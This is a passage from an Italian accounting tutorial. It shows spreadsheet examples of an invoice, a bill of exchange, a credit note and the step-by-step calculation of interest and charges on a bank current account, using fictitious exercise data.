Le fatture immediate o differite si realizzano attraverso le schede '**`fattura1`**', '**`fattura2`**',... utilizzando la codifica già predisposta per i clienti, gli articoli di magazzino e delle condizioni di pagamento. Se la fattura è differita, è necessario compilare il riferimento al documento di trasporto.

Nella fattura è possibile cambiare l'insieme delle aliquote gestite, intervenendo nelle celle C29:C31.

Figura 123.81. Esempio di fattura differita.

	A	B	C	D	E	F	G	H	I
1	Azienda per le esercitazioni				numero fattura		data fattura		
2					123		31 gennaio 2010		
3					codice cliente: 2				
4	piazza della Vittoria, 3/4								
5	31100 - Treviso - (TV)				Belletti Ugo				
6	p.i.: 80011540269				via Terraglio, 78				
7					31100	Treviso			TV
8									
9					CF o PI:	2403210269			
10	spese di trasporto			spese di imballo			pagamento		
11					€ 100,00		12	tratta 60 g.d.f.	
12	banca di appoggio: banca della collina								
13	ordine				documento di trasporto				
14	numero		data		numero		data		
15					135		10 gennaio 2010		
16									
17	articolo	descrizione		quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
18	10	miele di acacia 1 kg		200	5,00%	1,00%	5,00	940,50	10%
19	11	cera d'api grezza 1 kg		100			5,00	500,00	10%
20	12	pappa reale pura 10 g		300			20,00	6.000,00	20%
21	13	propoli 20 g		500	2,00%		10,00	4.900,00	20%
22									
23									
24									
25									
26						sconto sul totale:	2,00%	-246,81	
27	riepilogo IVA					totale spese non documentate		100,00	
28	imponibile		aliquota	IVA		totale IVA		2.296,41	
29		0,00	4%		0,00	spese documentate escluse dalla base imponibile		0,00	
30		1.411,69	10%		141,17	interessi		0,00	
31		10.682,00	20%		2.136,40	cauzioni		0,00	
32	ripartizione spese non documentate		aliquota	IVA		bolli		176,00	
33		0,00	4%		0,00	scadenza fattura:			
34		11,67	10%		1,17			14.666,10	totale fattura
35		88,33	20%		17,67	31 marzo 2010			

123.8.9 Cambiali tratte

Le cambiali tratte si producono attraverso le schede '`tratte1`', '`tratte2`',... utilizzando la codifica già predisposta per i clienti. Vanno indicati gli importi e le date.

Figura 123.82. Esempio di cambiale tratta.

	A	B	C	D	E	F	G	H	I	J	K	L
1												
2	cliente debitore			bollo	Treviso, 31 gennaio 2010			Euro		14666,10		
3	2			€ 176,00	(LUOGO E DATA DELL'EMISSIONE)					(IN CIFRE)		
4					Al		31 marzo 2010	pagherete per questa cambiale tratta				
5							(SCADENZA)					
6												
7					all'ordine della ditta Azienda per le esercitazioni						la somma	
8												
9					di Euro		Quattordicimilaseicentosessantasei/10					
10							(IN LETTERE)					
11				DOMICILIAZIONE			NOME E INDIRIZZO DEL DEBITORE					
12							Belletti Ugo					
13				banca della collina								
14							via Terraglio, 78				(FIRMA)	
15							31100 - Treviso - TV					
16							CAP LOCALITÀ PROV.					
17												

123.8.10 Note di accredito

Le note di accredito, o note di variazione, si producono attraverso le schede '**`var1`**', '**`var2`**',... utilizzando la codifica già predisposta per i clienti. Tutti gli altri dati vanno inseriti espressamente. Va osservato che gli sconti servono a riprodurre gli stessi calcoli fatti originariamente nella fattura che si sta correggendo.

Figura 123.83. Esempio di nota di accredito. Si vuole simulare il reso di 100 unità dell'articolo 10 (miele di acacia, già comparso in una fattura di esempio.

	A	B	C	D	E	F	G	H	I
1	Azienda per le esercitazioni				nota di accredito n.		data documento		
2					124		5 febbraio 2010		
3					codice cliente:		2		
4	piazza della Vittoria, 3/4								
5	31100 - Treviso - (TV)				Belletti Ugo				
6	p.i.: 80011540269				via Terraglio, 78				
7					31100	Treviso			TV
8									
9					CF o PI:	2403210269			
10	riferimento fattura				note				
11	numero		data		reso per fornitura eccedente l'ordinazione				
12	123		31 gennaio 2010						
13									
14	descrizione			quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
15	miele di acacia 1 kg			100	5,00%	1,00%	5,00	470,25	10%
16									
17									
18									
19									
20									
21									
22									
23						sconto sul totale:	2,00%	-9,41	
24	riepilogo IVA					totale IVA		46,09	
25	imponibile		aliquota	IVA				0,00	
26		0,00	4%		0,00			0,00	
27		460,85	10%		46,09			506,94	totale nota di accredito
28		0,00	20%		0,00				

123.9 Conti correnti

Sono disponibili delle schede per la tenuta di tre conti correnti di corrispondenza. La scheda '**`cc_ord`**' viene usata per una copia temporanea dei dati provenienti dalla «scheda» del conto corrente, allo scopo di riordinarne la sequenza prima di copiare le valute e i valori nella staffa. La scheda '**`cc_sch`*n***' è la «scheda» del conto *n*-esimo; la scheda '**`cc_stf`*n***' è la staffa del conto *n*-esimo; la scheda '**`cc_scm`*n***' è il prospetto delle spese e delle competenze del conto *n*-esimo.

123.9.1 Scheda del conto

La scheda del conto corrente si compila inserendo le date e le valute nel modo più semplice possibile, facendo attenzione però all'anno, quando non può essere quello riferito al periodo preso in considerazione. La colonna finale della scheda, dove andrebbe messo il numero di sequenza delle operazioni, va tralasciato, perché si esegue un riordino attraverso le funzioni del foglio elettronico.

Figura 123.84. Scheda del conto

	A	B	C	D	E	F	G	H	I
1	x								
2	x					scheda			
3	x	date	valute	movimenti		operazioni	saldi		N.
4	x			dare	avere				
5	x	01/10/2008	30/09/2008		8 172,15	saldo liquido	A	8 172,15	
6	x	01/10/2008	05/10/2008		945,00	partita ripresa	A	9 117,15	
7	x	03/10/2008	28/09/2008	870,00		A/B n. 1234567	A	8 247,15	
8	x	04/10/2008	30/09/2008		53,35	sbilancio competenze 3° trimestre	A	8 300,50	
9	x	20/10/2008	31/10/2008		3 770,00	versamento A/B	A	12 070,50	
10	x	27/10/2008	27/10/2008	9 973,03		rilascio A/C	A	2 097,47	
11	x	31/10/2008	31/10/2008		2 100,00	stipendi ottobre	A	4 197,47	
12	x	07/10/2008	07/11/2008	681,50		bonifico a ditta XYZ	A	3 515,97	
13	x	10/11/2008	31/10/2008	448,20		Estratto-conto carta di credito	A	3 067,77	
14	x	17/10/2008	17/11/2008	250,00		prelevamento ATM	A	2 817,77	
15	x	30/11/2008	30/11/2008	1 110,00		pagamento imposte	A	1 707,77	
16	x	30/11/2008	30/11/2008		2 100,00	stipendio novembre	A	3 807,77	
17	x	04/12/2008	04/12/2008		840,00	versamento A/B	A	4 647,77	
18	x	05/12/2008	05/12/2008	57,00		pagamento utenze	A	4 590,77	
19	x	14/12/2008	15/12/2008		10 000,00	anticipo TFRL	A	14 590,77	
20	x	20/12/2008	20/12/2008		1 500,00	gratifica natalizia sullo stipendio	A	16 090,77	
21	x	20/12/2008	03/01/2009		1 860,00	versamento A/B	A	17 950,77	
22	x	22/12/2008	22/12/2008	1 160,00		acquisto valuta estera	A	16 790,77	
23	x	29/12/2008	29/12/2008		2 100,00	stipendio dicembre	A	18 890,77	
24							A	18 890,77	
25							A	18 890,77	
26							A	18 890,77	
27							A	18 890,77	

123.9.2 Riordino per valuta

Dopo la compilazione della scheda del conto corrente, si fa una copia delle date, delle valute e dei valori delle operazioni, in un'area temporanea (la scheda *cc_ord*), dove si procede al riordino per valuta, controllando però la coerenza del risultato.

Figura 123.85. La zona da copiare nella scheda temporanea.

scheda							
date	valute	movimenti dare	avere	operazioni	saldi		N.
01/10/2008	30/09/2008		8 172,15	saldo liquido	A	8 172,15	
01/10/2008	05/10/2008		945,00	partita ripresa	A	9 117,15	
03/10/2008	28/09/2008	870,00		A/B n. 1234567	A	8 247,15	
04/10/2008	30/09/2008		53,35	sbilancio competenze 3° trimestre	A	8 300,50	
20/10/2008	31/10/2008		3 770,00	versamento A/B	A	12 070,50	
27/10/2008	27/10/2008	9 973,03		rilascio A/C	A	2 097,47	
31/10/2008	31/10/2008		2 100,00	stipendi ottobre	A	4 197,47	
07/10/2008	07/11/2008	681,50		bonifico a ditta XYZ	A	3 515,97	
10/11/2008	31/10/2008	448,20		Estratto-conto carta di credito	A	3 067,77	
17/10/2008	17/11/2008	250,00		prelevamento ATM	A	2 817,77	
30/11/2008	30/11/2008	1 110,00		pagamento imposte	A	1 707,77	
30/11/2008	30/11/2008		2 100,00	stipendio novembre	A	3 807,77	
04/12/2008	04/12/2008		840,00	versamento A/B	A	4 647,77	
05/12/2008	05/12/2008	57,00		pagamento utenze	A	4 590,77	
14/12/2008	15/12/2008		10 000,00	anticipo TFRL	A	14 590,77	
20/12/2008	20/12/2008		1 500,00	gratifica natalizia sullo stipendio	A	16 090,77	
20/12/2008	03/01/2009		1 860,00	versamento A/B	A	17 950,77	
22/12/2008	22/12/2008	1 160,00		acquisto valuta estera	A	16 790,77	
29/12/2008	29/12/2008		2 100,00	stipendio dicembre	A	18 890,77	
					A	18 890,77	
					A	18 890,77	

Figura 123.86. La copia ottenuta nella scheda temporanea.

date	valute	movimenti dare	avere
01/10/2008	30/09/2008		8 172,15
01/10/2008	05/10/2008		945,00
03/10/2008	28/09/2008	870,00	
04/10/2008	30/09/2008		53,35
20/10/2008	31/10/2008		3 770,00
27/10/2008	27/10/2008	9 973,03	
31/10/2008	31/10/2008		2 100,00
07/10/2008	07/11/2008	681,50	
10/11/2008	31/10/2008	448,20	
17/10/2008	17/11/2008	250,00	
30/11/2008	30/11/2008	1 110,00	
30/11/2008	30/11/2008		2 100,00
04/12/2008	04/12/2008		840,00
05/12/2008	05/12/2008	57,00	
14/12/2008	15/12/2008		10 000,00
20/12/2008	20/12/2008		1 500,00
20/12/2008	03/01/2009		1 860,00
22/12/2008	22/12/2008	1 160,00	
29/12/2008	29/12/2008		2 100,00

Dopo la copia nell'area temporanea, occorre aggiungere le valute del cambio del tasso, ammesso che questi cambi esistano, oltre alla data della conclusione del periodo o dell'estinzione del conto.

Si osservi che la valuta del cambio del tasso è il giorno antecedente alla decorrenza del nuovo tasso.

Figura 123.87. Si aggiungono nella scheda temporanea le valute del cambio del tasso (11 novembre e 12 dicembre) e la data che conclude il periodo (31 dicembre).

date	valute	movimenti	
		dare	avere
01/10/2008	30/09/2008		8 172,15
01/10/2008	05/10/2008		945,00
03/10/2008	28/09/2008	870,00	
04/10/2008	30/09/2008		53,35
20/10/2008	31/10/2008		3 770,00
27/10/2008	27/10/2008	9 973,03	
31/10/2008	31/10/2008		2 100,00
07/10/2008	07/11/2008	681,50	
10/11/2008	31/10/2008	448,20	
17/10/2008	17/11/2008	250,00	
30/11/2008	30/11/2008	1 110,00	
30/11/2008	30/11/2008		2 100,00
04/12/2008	04/12/2008		840,00
05/12/2008	05/12/2008	57,00	
14/12/2008	15/12/2008		10 000,00
20/12/2008	20/12/2008		1 500,00
20/12/2008	03/01/2009		1 860,00
22/12/2008	22/12/2008	1 160,00	
29/12/2008	29/12/2008		2 100,00
	11/11/2008		
	12/12/2008		
	31/12/2008		

A questo punto si procede al riordino all'area temporanea secondo la colonna della valuta, ma in questo caso occorre tenere conto che la prima operazione, essendo una ripresa del saldo precedente, deve rimanere al primo posto in ogni caso. Pertanto, si riordina solo la porzione che va dalla riga successiva, specificando come criterio di ordinamento la colonna B (valuta) ed eventualmente, come chiave secondaria, la colonna A (data), nel caso dovessero esserci delle valute uguali.

Figura 123.88. Viene esclusa dal riordino la prima riga, perché deve rimanere in quella posizione in ogni caso, trattandosi di una ripresa saldo.

date	valute	movimenti	
		dare	avere
01/10/2008	30/09/2008		8 172,15
01/10/2008	05/10/2008		945,00
03/10/2008	28/09/2008	870,00	
04/10/2008	30/09/2008		53,35
20/10/2008	31/10/2008		3 770,00
27/10/2008	27/10/2008	9 973,03	
31/10/2008	31/10/2008		2 100,00
07/10/2008	07/11/2008	681,50	
10/11/2008	31/10/2008	448,20	
17/10/2008	17/11/2008	250,00	
30/11/2008	30/11/2008	1 110,00	
30/11/2008	30/11/2008		2 100,00
04/12/2008	04/12/2008		840,00
05/12/2008	05/12/2008	57,00	
14/12/2008	15/12/2008		10 000,00
20/12/2008	20/12/2008		1 500,00
20/12/2008	03/01/2009		1 860,00
22/12/2008	22/12/2008	1 160,00	
29/12/2008	29/12/2008		2 100,00
	11/11/2008		
	12/12/2008		
	31/12/2008		

Dopo il riordino si può osservare che l’operazione con valuta 3 gennaio non deve essere inserita nella staffa, perché va invece ripresa nel periodo successivo.[1]

Figura 123.89. Dopo il riordino occorre verificare se ci sono valute da escludere.

date	valute	movimenti	
		dare	avere
01/10/2008	30/09/2008		8 172,15
03/10/2008	28/09/2008	870,00	
04/10/2008	30/09/2008		53,35
01/10/2008	05/10/2008		945,00
27/10/2008	27/10/2008	9 973,03	
20/10/2008	31/10/2008		3 770,00
31/10/2008	31/10/2008		2 100,00
10/11/2008	31/10/2008	448,20	
07/10/2008	07/11/2008	681,50	
	11/11/2008		
17/10/2008	17/11/2008	250,00	
30/11/2008	30/11/2008	1 110,00	
30/11/2008	30/11/2008		2 100,00
04/12/2008	04/12/2008		840,00
05/12/2008	05/12/2008	57,00	
	12/12/2008		
14/12/2008	15/12/2008		10 000,00
20/12/2008	20/12/2008		1 500,00
22/12/2008	22/12/2008	1 160,00	
29/12/2008	29/12/2008		2 100,00
	31/12/2008		
~~20/12/2008~~	~~03/01/2009~~		~~1 860,00~~

Dopo il riordino e le eventuali correzioni da apportare, si copiano nella staffa, separatamente, la zona delle valute e la zona dei valori dei movimenti.

Figura 123.90. Aree da copiare dopo il riordino.

date	valute	movimenti	
		dare	avere
01/10/2008	30/09/2008		8 172,15
03/10/2008	28/09/2008	870,00	
04/10/2008	30/09/2008		53,35
01/10/2008	05/10/2008		945,00
27/10/2008	27/10/2008	9 973,03	
20/10/2008	31/10/2008		3 770,00
31/10/2008	31/10/2008		2 100,00
10/11/2008	31/10/2008	448,20	
07/10/2008	07/11/2008	681,50	
	11/11/2008		
17/10/2008	17/11/2008	250,00	
30/11/2008	30/11/2008	1 110,00	
30/11/2008	30/11/2008		2 100,00
04/12/2008	04/12/2008		840,00
05/12/2008	05/12/2008	57,00	
	12/12/2008		
14/12/2008	15/12/2008		10 000,00
20/12/2008	20/12/2008		1 500,00
22/12/2008	22/12/2008	1 160,00	
29/12/2008	29/12/2008		2 100,00
	31/12/2008		
~~20/12/2008~~	~~03/01/2009~~		~~1 860,00~~

Figura 123.91. Aree copiate nella staffa.

	B	C	E	F	G	H
3	movimenti		saldi per valuta		valute	giorni
4	dare	avere	dare	avere		
5		8 172,15	0,00	8 172,15	30/09/2008	-2
6	870,00		0,00	7 302,15	28/09/2008	2
7		53,35	0,00	7 355,50	30/09/2008	5
8		945,00	0,00	8 300,50	05/10/2008	22
9	9 973,03		1 672,53	0,00	27/10/2008	4
10		3 770,00	0,00	2 097,47	31/10/2008	0
11		2 100,00	0,00	4 197,47	31/10/2008	0
12	448,20		0,00	3 749,27	31/10/2008	7
13	681,50		0,00	3 067,77	07/11/2008	4
14			0,00	3 067,77	11/11/2008	6
15	250,00		0,00	2 817,77	17/11/2008	13
16	1 110,00		0,00	1 707,77	30/11/2008	0
17		2 100,00	0,00	3 807,77	30/11/2008	1
18		840,00	0,00	4 647,77	01/12/2008	4
19	57,00		0,00	4 590,77	05/12/2008	7
20			0,00	4 590,77	12/12/2008	3
21		10 000,00	0,00	14 590,77	15/12/2008	5
22		1 500,00	0,00	16 090,77	20/12/2008	2
23	1 160,00		0,00	14 930,77	22/12/2008	7
24		2 100,00	0,00	17 030,77	29/12/2008	2
25			0,00	17 030,77	31/12/2008	0
26			0,00	17 030,77		0
27			0,00	17 030,77		0

La staffa non richiede altro, perché il calcolo dei numeri computistici nelle colonne appropriate viene fatto automaticamente, in base ai periodi indicati nel prospetto delle spese e competenze.

123.9.3 Compilazione del prospetto delle spese e delle competenze

Prima di poter verificare che la staffa sia corretta, è necessario iniziare la compilazione del prospetto delle spese e delle competenze, almeno per ciò che riguarda i periodi e i tassi di interesse associati a questi, perché nella staffa i numeri computistici vengano distinti in base a tali periodi. A questo proposito si deve osservare che vanno indicate la data iniziale e finale del primo periodo, oltre alla data finale del secondo e terzo periodo (se i cambi di tasso sono meno di due, le date finali dei periodi non usati sono uguali a quella dell'ultimo); in pratica si omette la data iniziale del secondo e del terzo periodo, perché viene determinata automaticamente. Inoltre, la data finale dei periodi che precedono un cambio del tasso, corrisponde alla valuta di tale cambio.

Figura 123.92. Prospetto delle competenze e delle spese.

	A	B	C	D	E	F
9						
10	prospetto trimestrale competenze e spese					
11						
12	durata del trimestre in giorni			347		
13	totale numeri debitori (dare)			6 690,12		
14	totale numeri creditori (dare)			365 736,34		
15	consistenza media			1 034,72		
16						
17	**INTERESSI CREDITORI**					
18	decorrenza		tasso	numeri creditori		interessi creditori
19	dal	al				
20	1 gen 2008	11 nov 2008	1,75%	256 164,47		12,28
21	12 nov 2008	12 dic 2008	2,25%	109 571,87		6,75
22	13 dic 2008	31 dic 2008	1,00%	0,00		0,00
23						19,03
24	imposta sostitutiva		27,00%			5,14
25					interessi creditori netti	13,89
26						
27	**FIDO**			999 999 999,00		
28						
29	**INTERESSI DEBITORI**					
30	dal	al	tasso	numeri debitori		interessi debitori
31	1 gen 2008	11 nov 2008	7,50%	6 690,12		1,37
32	12 nov 2008	12 dic 2008	8,00%	0,00	entro fido	0,00
33	13 dic 2008	31 dic 2008	0,00%	91,00		0,00
34	1 gen 2008	11 nov 2008	0,00%	0,00		0,00
35	12 nov 2008	12 dic 2008	0,00%	0,00	fuori fido	0,00
36	13 dic 2008	31 dic 2008	0,00%	0,00		0,00
37					interessi debitori	1,37
38						
39	**COMMISSIONE SUL MASSIMO SCOPERTO**					
40	data		aliquota	base di calcolo		importo commissione
41	12 dic 2008		25,000%	1,37		0,34
42						
43	**SPESE**					
44	operazioni	10	x euro	0,00		0,00
45	operazioni	8	x euro	0,60		4,80
46	rimborso forfettario					0,00
47	spese fisse di chiusura e recupero bollo trimestrale					15,00
48					totale spese	19,80
49						
50	**RIEPILOGO COMPETENZE**			A DEBITO		A CREDITO
51	interessi netti a credito					13,89
52	interessi a debito			1,37		
53	commissione di massimo scoperto			0,34		
54	spese			19,80		
55				21,51		13,89
56						
57	**SBILANCIO COMPETENZE**					
58	registrato in c/c con valuta		12 dic 2008	7,62		0,00

123.9.4 Staffa

Dopo la compilazione della parte iniziale del prospetto delle spese e delle competenze, nella staffa i dati appaiono nel modo corretto, come si può vedere nella figura successiva.

Figura 123.93. Staffa.

	A	B	C	E	F	G	H	I	J	K	L	M	N	O	P	Q
1	x															
2	x	staffa														
3	x	movimenti		saldi per valuta		valute	giorni	numeri primo periodo			numeri secondo periodo			numeri terzo periodo		
4	x	dare	avere	dare	avere			dare fuori fido	dare entro fido	avere	dare fuori fido	dare entro fido	avere	dare fuori fido	dare entro fido	avere
5	x		8 172,15	0,00	8 172,15	30/09/2008	-2	0,00	0,00	- 16 344,30	0,00	0,00	0,00	0,00	0,00	0,00
6	x	870,00		0,00	7 302,15	28/09/2008	2	0,00	0,00	14 604,30	0,00	0,00	0,00	0,00	0,00	0,00
7	x		53,35	0,00	7 355,50	30/09/2008	5	0,00	0,00	36 777,50	0,00	0,00	0,00	0,00	0,00	0,00
8	x		945,00	0,00	8 300,50	05/10/2008	22	0,00	0,00	182 611,00	0,00	0,00	0,00	0,00	0,00	0,00
9	x	9 973,03		1 672,53	0,00	27/10/2008	4	0,00	6 690,12	0,00	0,00	0,00	0,00	0,00	0,00	0,00
10	x		3 770,00	0,00	2 097,47	31/10/2008	0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
11	x		2 100,00	0,00	4 197,47	31/10/2008	0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
12	x	448,20		0,00	3 749,27	31/10/2008	7	0,00	0,00	26 244,89	0,00	0,00	0,00	0,00	0,00	0,00
13	x	681,50		0,00	3 067,77	07/11/2008	4	0,00	0,00	12 271,08	0,00	0,00	0,00	0,00	0,00	0,00
14	x			0,00	3 067,77	11/11/2008	6	0,00	0,00	0,00	0,00	0,00	18 406,62	0,00	0,00	0,00
15	x	250,00		0,00	2 817,77	17/11/2008	13	0,00	0,00	0,00	0,00	0,00	36 631,01	0,00	0,00	0,00
16	x	1 110,00		0,00	1 707,77	30/11/2008	0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
17	x		2 100,00	0,00	3 807,77	30/11/2008	1	0,00	0,00	0,00	0,00	0,00	3 807,77	0,00	0,00	0,00
18	x		840,00	0,00	4 647,77	01/12/2008	4	0,00	0,00	0,00	0,00	0,00	18 591,08	0,00	0,00	0,00
19	x	57,00		0,00	4 590,77	05/12/2008	7	0,00	0,00	0,00	0,00	0,00	32 135,39	0,00	0,00	0,00
20	x			0,00	4 590,77	12/12/2008	3	0,00	0,00	0,00	0,00	0,00	0,00	0,00	9,00	0,00
21	x		10 000,00	0,00	14 590,77	15/12/2008	5	0,00	0,00	0,00	0,00	0,00	0,00	0,00	25,00	0,00
22	x		1 500,00	0,00	16 090,77	20/12/2008	2	0,00	0,00	0,00	0,00	0,00	0,00	0,00	4,00	0,00
23	x	1 160,00		0,00	14 930,77	22/12/2008	7	0,00	0,00	0,00	0,00	0,00	0,00	0,00	49,00	0,00
24	x		2 100,00	0,00	17 030,77	29/12/2008	2	0,00	0,00	0,00	0,00	0,00	0,00	0,00	4,00	0,00
25	x			0,00	17 030,77	31/12/2008	0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
26				0,00	17 030,77		0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
27				0,00	17 030,77		0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00

	A	B	C	E	F	G	H	I	J	K	L	M	N	O	P	Q
113				0,00	17 030,77		0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
114				0,00	17 030,77		0	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00	0,00
115	x							0,00	6 690,12	256 164,47	0,00	0,00	109 571,87	0,00	91,00	0,00

123.9.5 Descrizione di un esempio alternativo, con estinzione del conto

Viene proposto un esempio di conto corrente del primo trimestre di un certo anno, che però viene estinto il giorno 24 marzo. Durante il periodo viene cambiato il tasso di interesse con decorrenza 26 febbraio (pertanto valuta del cambio del tasso è il 25 febbraio). Inizialmente si registrano nella scheda le operazioni che si vedono nella figura successiva.

Figura 123.94. La scheda prima di annotare l'estinzione del conto.

scheda							
date	valute	movimenti		operazioni	saldi		N.
		dare	avere				
01/01/2006	31/12/2005		7 900,50	saldo liquido	A	7 900,50	
01/01/2006	03/01/2006		2 200,00	prima partita ripresa	A	10 100,50	
01/01/2006	10/01/2006		1 250,00	seconda partita ripresa	A	11 350,50	
03/01/2006	30/12/2005	1 850,00		emissione A/B 1234567	A	9 500,50	
13/01/2006	31/12/2005	20,50		competenze a vostro debito	A	9 480,00	
13/01/2006	30/01/2006		16 780,00	versamento A/B	A	26 260,00	
28/01/2006	30/01/2006	17 242,27		acquisto divisa estera	A	9 017,73	
06/02/2006	07/02/2006		21 800,00	bonifico da terzi	A	30 817,73	
10/02/2006	02/02/2006	11 200,00		giroconto a favore di terzi	A	19 617,73	
10/02/2006	10/02/2006	1,00		commissioni	A	19 616,73	
14/02/2006	14/02/2006	415,00		utenza telefonica	A	19 201,73	
14/02/2006	14/02/2006	0,60		commissioni	A	19 201,13	
27/02/2006	03/03/2006		8 400,00	versamento A/C	A	27 601,13	
28/02/2006	28/02/2006	22 850,00		bonifico a favore di terzi	A	4 751,13	
28/02/2006	28/02/2006	2,50		commissioni	A	4 748,63	
03/03/2006	04/03/2006		19 789,00	accredito di effetti	A	24 537,63	
06/03/2006	10/03/2006	16 452,77		acquisto divisa estera	A	8 084,86	
06/03/2006	06/03/2006	35,78		commissioni	A	8 049,08	
11/03/2006	12/03/2006		17 500,00	bonifico da terzi	A	25 549,08	
14/03/2006	14/03/2006	12 300,00		acquisto A/C	A	13 249,08	

Attraverso la fase di riordino delle valute, che deve tenere conto della valuta del cambio del tasso e della data di estinzione del conto, si arriva a una staffa, di cui si vede una porzione nella figura successiva.

Figura 123.95. La staffa, senza visualizzare, per ora, i numeri computistici.

movimenti		saldi per valuta		valute	giorni
dare	avere	dare	avere		
	7 900,50	0,00	7 900,50	31/12/2005	-1
1 850,00		0,00	6 050,50	30/12/2005	1
20,50		0,00	6 030,00	31/12/2005	3
	2 200,00	0,00	8 230,00	03/01/2006	7
	1 250,00	0,00	9 480,00	10/01/2006	20
	16 780,00	0,00	26 260,00	30/01/2006	0
17 242,27		0,00	9 017,73	30/01/2006	3
11 200,00		2 182,27	0,00	02/02/2006	5
	21 800,00	0,00	19 617,73	07/02/2006	3
1,00		0,00	19 616,73	10/02/2006	4
0,60		0,00	19 616,13	14/02/2006	0
415,00		0,00	19 201,13	14/02/2006	11
		0,00	19 201,13	25/02/2006	3
2,50		0,00	19 198,63	28/02/2006	0
22 850,00		3 651,37	0,00	28/02/2006	3
	8 400,00	0,00	4 748,63	03/03/2006	1
	19 789,00	0,00	24 537,63	04/03/2006	2
35,78		0,00	24 501,85	06/03/2006	4
16 452,77		0,00	8 049,08	10/03/2006	2
	17 500,00	0,00	25 549,08	12/03/2006	2
12 300,00		0,00	13 249,08	14/03/2006	10
		0,00	13 249,08	24/03/2006	0

Si passa alla compilazione del prospetto delle spese e competenze, con particolare riguardo alle date dei periodi coinvolti. Si prendano per buoni i valori che si vedono nella figura successiva, senza altre spiegazioni sulle condizioni applicate al conto corrente.

Figura 123.96. Prospetto delle spese e competenze, dopo la sua compilazione.

prospetto trimestrale competenze e spese

durata del trimestre in giorni	83
totale numeri debitori (dare)	21 865,46
totale numeri creditori (dare)	1 048 157,53
consistenza media	12 364,96

INTERESSI CREDITORI

decorrenza dal	decorrenza al	tasso	numeri creditori	interessi creditori
1 gen 2006	25 feb 2006	1,75%	639 035,73	30,64
26 feb 2006	24 mar 2006	2,25%	409 121,80	25,22
25 mar 2006	24 mar 2006	0,00%	0,00	0,00
				55,86
imposta sostitutiva		27,00%		15,08
			interessi creditori netti	40,78

FIDO 999 999 999,00

INTERESSI DEBITORI

dal	al	tasso	numeri debitori		interessi debitori
1 gen 2006	25 feb 2006	7,75%	10 911,35	entro fido	2,32
26 feb 2006	24 mar 2006	8,25%	10 954,11	entro fido	2,48
25 mar 2006	24 mar 2006	0,00%	0,00	entro fido	0,00
1 gen 2006	25 feb 2006	0,00%	0,00	fuori fido	0,00
26 feb 2006	24 mar 2006	0,00%	0,00	fuori fido	0,00
25 mar 2006	24 mar 2006	0,00%	0,00	fuori fido	0,00
				interessi debitori	4,80

COMMISSIONE SUL MASSIMO SCOPERTO

data	aliquota	base di calcolo	importo commissione
24 mar 2006	0,125%	3 651,37	4,56

SPESE

operazioni	20	x euro	0,65	13,00
operazioni	0	x euro	0,00	0,00
rimborso forfettario				22,00
spese fisse di chiusura e recupero bollo trimestrale				25,50
			totale spese	60,50

RIEPILOGO COMPETENZE	A DEBITO	A CREDITO
interessi netti a credito		40,78
interessi a debito	4,80	
commissione di massimo scoperto	4,56	
spese	60,50	
	69,86	40,78

SBILANCIO COMPETENZE

registrato in c/c con valuta	24 mar 2006	29,08	0,00

A questo punto si può controllare che nella staffa i numeri computistici appaiano separati correttamente, secondo le esigenze del cambio del tasso.

Figura 123.97. Staffa completa e filtrata.

movimenti		saldi per valuta		valute	giorni	numeri primo periodo			numeri secondo periodo		
dare	avere	dare	avere			dare fuori fido	dare entro fido	avere	dare fuori fido	dare entro fido	avere
	7 900,50	0,00	7 900,50	31/12/2005	-1	0,00	0,00	- 7 900,50	0,00	0,00	0,00
1 850,00		0,00	6 050,50	30/12/2005	1	0,00	0,00	6 050,50	0,00	0,00	0,00
20,50		0,00	6 030,00	31/12/2005	3	0,00	0,00	18 090,00	0,00	0,00	0,00
	2 200,00	0,00	8 230,00	03/01/2006	7	0,00	0,00	57 610,00	0,00	0,00	0,00
	1 250,00	0,00	9 480,00	10/01/2006	20	0,00	0,00	189 600,00	0,00	0,00	0,00
	16 780,00	0,00	26 260,00	30/01/2006	0	0,00	0,00	0,00	0,00	0,00	0,00
17 242,27		0,00	9 017,73	30/01/2006	3	0,00	0,00	27 053,19	0,00	0,00	0,00
11 200,00		2 182,27	0,00	02/02/2006	5	0,00	10 911,35	0,00	0,00	0,00	0,00
	21 800,00	0,00	19 617,73	07/02/2006	3	0,00	0,00	58 853,19	0,00	0,00	0,00
1,00		0,00	19 616,73	10/02/2006	4	0,00	0,00	78 466,92	0,00	0,00	0,00
0,60		0,00	19 616,13	14/02/2006	0	0,00	0,00	0,00	0,00	0,00	0,00
415,00		0,00	19 201,13	14/02/2006	11	0,00	0,00	211 212,43	0,00	0,00	0,00
		0,00	19 201,13	25/02/2006	3	0,00	0,00	0,00	0,00	0,00	57 603,39
2,50		0,00	19 198,63	28/02/2006	0	0,00	0,00	0,00	0,00	0,00	0,00
22 850,00		3 651,37	0,00	28/02/2006	3	0,00	0,00	0,00	0,00	10 954,11	0,00
	8 400,00	0,00	4 748,63	03/03/2006	1	0,00	0,00	0,00	0,00	0,00	4 748,63
	19 789,00	0,00	24 537,63	04/03/2006	2	0,00	0,00	0,00	0,00	0,00	49 075,26
35,78		0,00	24 501,85	06/03/2006	4	0,00	0,00	0,00	0,00	0,00	98 007,40
16 452,77		0,00	8 049,08	10/03/2006	2	0,00	0,00	0,00	0,00	0,00	16 098,16
	17 500,00	0,00	25 549,08	12/03/2006	2	0,00	0,00	0,00	0,00	0,00	51 098,16
12 300,00		0,00	13 249,08	14/03/2006	10	0,00	0,00	0,00	0,00	0,00	132 490,80
		0,00	13 249,08	24/03/2006	0	0,00	0,00	0,00	0,00	0,00	0,00
						0,00	10 911,35	639 035,73	0,00	10 954,11	409 121,80

Al termine, si può completare la scheda con le operazioni di estinzione del conto. In pratica si addebita il bilancio delle spese e competenze, e si annota il prelievo del saldo rimanente con un assegno circolare.

Figura 123.98. Scheda, dopo l'estinzione del conto.

scheda							
date	valute	movimenti		operazioni	saldi		N.
		dare	avere				
01/01/2006	31/12/2005		7 900,50	saldo liquido	A	7 900,50	
